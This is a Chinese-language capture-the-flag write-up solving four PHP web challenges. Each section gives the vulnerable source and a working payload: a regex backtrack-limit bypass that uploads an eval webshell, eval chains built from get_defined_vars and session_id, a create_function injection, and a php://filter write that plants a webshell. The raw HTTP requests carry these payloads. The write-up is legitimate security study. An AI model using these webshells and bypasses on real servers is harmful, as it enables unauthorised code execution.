感谢p神的圈子,学到了老多姿势

easy - pcrewaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
}

才上线时,正则写的是

1
'/<\?.*[(`].*/is'

可以用include "php://filter/read=convert.base64-decode/resource=./1.php";进行代码执行

修改过后,就一脸懵了,硬是没绕过。直到看了师傅们的文章。。。

正确姿势是通过插入极长的冗余代码,使正则匹配不断回溯匹配,超过设置的pcre.backtrack_limit次数限制后,preg_match将直接返回false(不是0),导致绕过

生成这样文件的代码如下:

1
2
3
<?php
$file = '<?php eval($_POST[1]);//'.str_repeat('a', 1000000);
file_put_contents('a.txt', $file);

关于PCRE特性的介绍参看p神的文章

easy - phplimit

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

见过类似这样的题,通过getallheaders()获取消息头中的数据,达到代码执行的效果。但是这个函数数是服务于apache的,而这里通过phpinfo可知是nginx。做完后听说有个get_defined_vars()可解决,也就是说正确姿势是:
code=eval(next(current(get_defined_vars())));&a=var_dump(scandir(%27..%27));

而自己在翻文档时,没有找到这个函数,导致走了一条远路~

一开始我尝试拼接出flag文件的完整路径,再readfile,结果发现由于正则限制,函数中参数只能有一个,基本不可能,于是放弃

然后有了切换当前目录的思路,而chdir(dirname(getcwd()))返回值为true,解决这个true成了困扰我的又一问题。结果,偶然尝试出dirname(true)返回.,NICE~

刚好scandir('/var/www')数组只有四个元素array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" },通过反序array_reversenext可以取得flag文件名

综上,最终的payload:
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

补充

王一航大佬指点,可通过eval(session_id(session_start()))作为荷载,而session_id是需要符合一定条件的(有趣的是当session_id中含有某些特殊字符时,环境只是发出警告),引号无法使用。所以需要base64或者hex等编码处理,再传入eval达到代码执行。

最终数据包关键信息类似如下:

1
2
3
GET /?code=eval(base64_decode(session_id(session_start()))); HTTP/1.1
Host: 51.158.75.42:8084
Cookie: PHPSESSID=cmVhZGZpbGUoJy4uL2ZsYWdfcGhwYnlwNHNzJyk7

easy - function

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

不会做(哭,看到师傅们fuzz出在函数名前加\,函数可正常执行。按p神说的,php默认命名空间\,所有原生函数和原生类都在这个命名空间中

在函数的选择上,使用的是create_function,该函数可创建一个匿名函数,第二个参数为匿名函数的代码内容。如何执行代码呢,参看师傅们的payload
action=%5Ccreate_function&arg=return%201;}readfile(%27../flag_h0w2execute_arb1trary_c0de%27);//

easy - phpmagic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<!-- html code -->
<?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}

echo $output;
endif; ?>

看师傅们的文章做出来的,没想到手笨还是弄了很久

由于对文件内容有htmlspecialchars处理,PHP标签会失效。刚好这里的$log_name是由$_SERVER['REMOTE_ADDR']$_GET['log']拼接成的,均可控,使用php://filter伪协议可对写入内容进行处理,例如base64编码。而在后缀问题上可采用/.做为后缀,而不会影响写入

想重复使用同一文件名操作的话,这里有个覆盖文件内容的小技巧,就是使用类似aaa/../1.php/.的路径

最后的数据包关键信息类似如下:

1
2
3
4
5
POST / HTTP/1.1
Host: php
Origin: http://51.158.75.42:8082

domain=PD9waHAgZXZhbCgkX0dFVFsnYWJjJ10pOz8%2b&log=://filter/write=convert.base64-decode/resource=1.php/.